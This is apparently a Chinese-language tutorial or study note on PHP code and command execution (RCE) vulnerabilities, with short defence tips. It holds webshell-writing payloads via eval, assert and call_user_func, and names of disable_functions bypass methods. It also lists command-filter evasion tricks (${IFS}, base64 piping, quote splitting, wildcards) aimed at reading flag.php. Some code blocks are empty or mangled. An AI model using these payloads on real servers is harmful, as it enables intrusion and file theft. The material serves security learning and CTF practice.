PHP代码/命令执行漏洞
remote command/code execute
远程命令/代码执行简称RCE。远程代码执行,不仅会出现在php也会出现在java,python等编程语言中。
远程代码执行漏洞的产生原因
php代码执行漏洞相关函数
eval
eval()将字符串当作php代码执行.必须以分号结尾.(但是eval不是函数)
Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。
1 |
|
1 | ?code=eval($_POST[a]); |
assert
assert()会将字符串当作php代码执行,不需要以分号结尾.但是assert
在php7中变成了一种语言结构,和eval函数一样,不支持可变函数调用.
assert() is a language construct in PHP 7, allowing for the definition of expectations: assertions that take effect in development and testing environments, but are optimised away to have zero cost in production.
1 |
|
1 | ?code=fwrite(fopen('shell.php','a+'),'<?php eval($_POST[a])?>') |
preg_replace
1 | preg_replace($pattern,$replacement.$subject) |
当第一个参数使用e修饰符,第二个参数的值会被当成php代码执行
如
1 |
|
1 | ?code=[eval($_POST[a])] |
call_user_func
call_user_func()函数call_user_func($callback,$parameter)
$callback是一个被调用的函数,其余参数是被调用函数的参数
1 |
|
1 | ?fun=assert¶=fwrite(fopen('shell.php','a+'),'<?php eval($_POST[a])?>') |
call_user_func_array()
1 |
|
$a($b)动态函数
动态函数$a($b)
和call_user_func()
利用方法一样.
1 | $a=$_GET['a']; |
1 | ?a=assert&b=fwrite(fopen('shell.php','a+'),'<?php eval($_POST[a])?>') |
array_map()函数
1 |
|
防御方式:
- 不使用eval等函数
- 过滤
- 更新php版本
- 在php配置文件中禁用危险函数
disable_function
=phpinfo…等函数,但是eval无法禁用,因为eval不是函数 - preg_replace弃用/e修饰符
代码执行漏洞利用
- get_webshell
- print
__FILE__
//获取当前文件的绝对路径 - print file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’)读文件(能否读文件,具体还是得看web用户的权限)
- file_put_contents(‘文件名’,’内容’)写文件
命令执行
造成原因:
- 过滤不严
- 系统漏洞造成命令注入
- 调用的第三方组建存在代码执行漏洞
危害:
- 继承web用户权限
- 读写文件
- 反弹shell
- 控制网站/服务器
命令执行漏洞相关函数
exec()
不会输出结果,而是返回结果的最后一行.
1 |
|
system()
成功输出结果并返回结果的最后一行,失败返回False
.
另外ob_start()这个函数也行..不过也是要system支持,如果system被禁用.也没得用
1 |
|
shell_exec()
函数实际上是反引号的实体(`),如果shell_exec被禁用了,反引号也是用不了的,不输出结果,返回执行结果.
passthru
直接将结果输出到浏览器,不返回任何值,而且可以输出二进制结果.
popen(command,mode)
使用command打开进程文件指针,将字符串作为系统命令执行,但是函数既不输出结果也不返回命名结果,而是返回一个文件命令指针.
command-需要执行的命令
mode(r/x) 规定连接模式,r只读,x只写
1 | ?a=echo ^<?php phpinfo()?^> > shell.php |
windowscmd
里面的转义符号是^
号
其他
类似于proc_open,pcntl_exec,pcntl_fork这些。。
命令连接符
符号 | 系统支持 | 说明 |
---|---|---|
| | Windows&Linux | 管道符 |
|| | Windows&Linux | |
& | Windows&Linux | 不管右边的命令是否执行成功,都会执行左边的命令 |
&& | Windows&Linux | 只有右边的命令执行成功后,才会执行左边的命令 |
; | Linux | 执行完左边的命令后,执行右边的命令 |
防御
- 减少命令执行函数的使用,并警用
- 对参数进行过滤
- 参数引号包裹
- 更新php版本
命令和代码执行的本质
用了相关的函数,却存在可以被用户动态控制的变量。能被用户动态控制的变量,却不严格过滤用户的输入。
两者的区别:
- 代码执行,执行代码执行的语句
- 命令执行,直接执行操作系统命令
- 命令执行,特殊的代码执行,只是执行的语句是具有执行命令能力的函数
一些绕过方法
Disable_functions
蚁剑有一个绕过disable_functions的插件
as_bypass_php_disable_functions
看了下主要使用的是以下几种方法,以后有空补充下手动绕过的内容。
LD_PRELOAD
PHP-FPM/FCGI
Apache Mod CGI
Json Serializer UAF
GC with Certain Destructors UAF
Backtrace UAF
PHP7 FFI
Linux的命令执行中当空格被过滤
${IFS}代替空格(bash)
类似于这个靶机的情况:Vulnhub-Dmv-1
使用${IFS}代替空格。
1 | cat${IFS}1.php |
<>重定向符代替
1 | cat<>1.php |
1 | cat<1.php |
(突破黑名单绕过)
拼接
假设目标禁止读取flag.php,则可以尝试
1 | a=flag |
base64 编码
将解码后的参数传递给bash
1 | echo 'cat flag.php'|base64 |
使用反引号
1 | `echo 'Y2F0IGZsYWcucGhwCg=='|base64 -d` |
$()
1 | $(echo 'Y2F0IGZsYWcucGhwCg=='|base64 -d) |
使用单引号,双引号,反斜杠
1 | c'a't flag.php |
因为可以这样输出命令,所以可以将命令写入到一个文件中去,再去执行要执行的命令。如果限制长度的话,则可以一次只写一点,再写进去执行。
1 | echo \c\a\t\ f\l\a\g.php |
要注意的是引号要成对出现。并且单引号,双引号也能和``$()来配合使用
使用一个内容为空的变量名
没有赋值的变量,在bash中都是为空。比如
所以就可以使用这样的方法来绕过
1 | c$3at fl${fff}ag.php |
为什么$fff要用{}来包裹?因为如果不用花括号对fff这个不存在的变量包裹的话,这个语句就会出错,包裹起来是为了告诉bash,变量的名字是fff不是fffag
1 | c$3at fl$fffag.php |
特殊符号的!和@也$()有相同的效果
1 | c$!at [email protected] |
1 | c$()at fl$()ag.php |
$* 也可以占位使用。
这一切都是基于这个变量名没有被使用。
如果该变量被使用了的会就会变成这个样子。
1 | ca${x}t fl${v}ag.php |
通配符绕过
1 | /???/?[a][t] flag.php |
但是文件名被过滤的话,可以这样绕过.
1 | /???/?[a][t] ?''lag.php |
但是如果有差不多相同(长度一样,后缀一样)的文件名的话,则会…
1 | echo 'error'>1234.php |
所以还可以这样使用
1 | cat [f][l][a][g]?php |
关于linux下通配符可以看Linux文件名匹配
参考文章: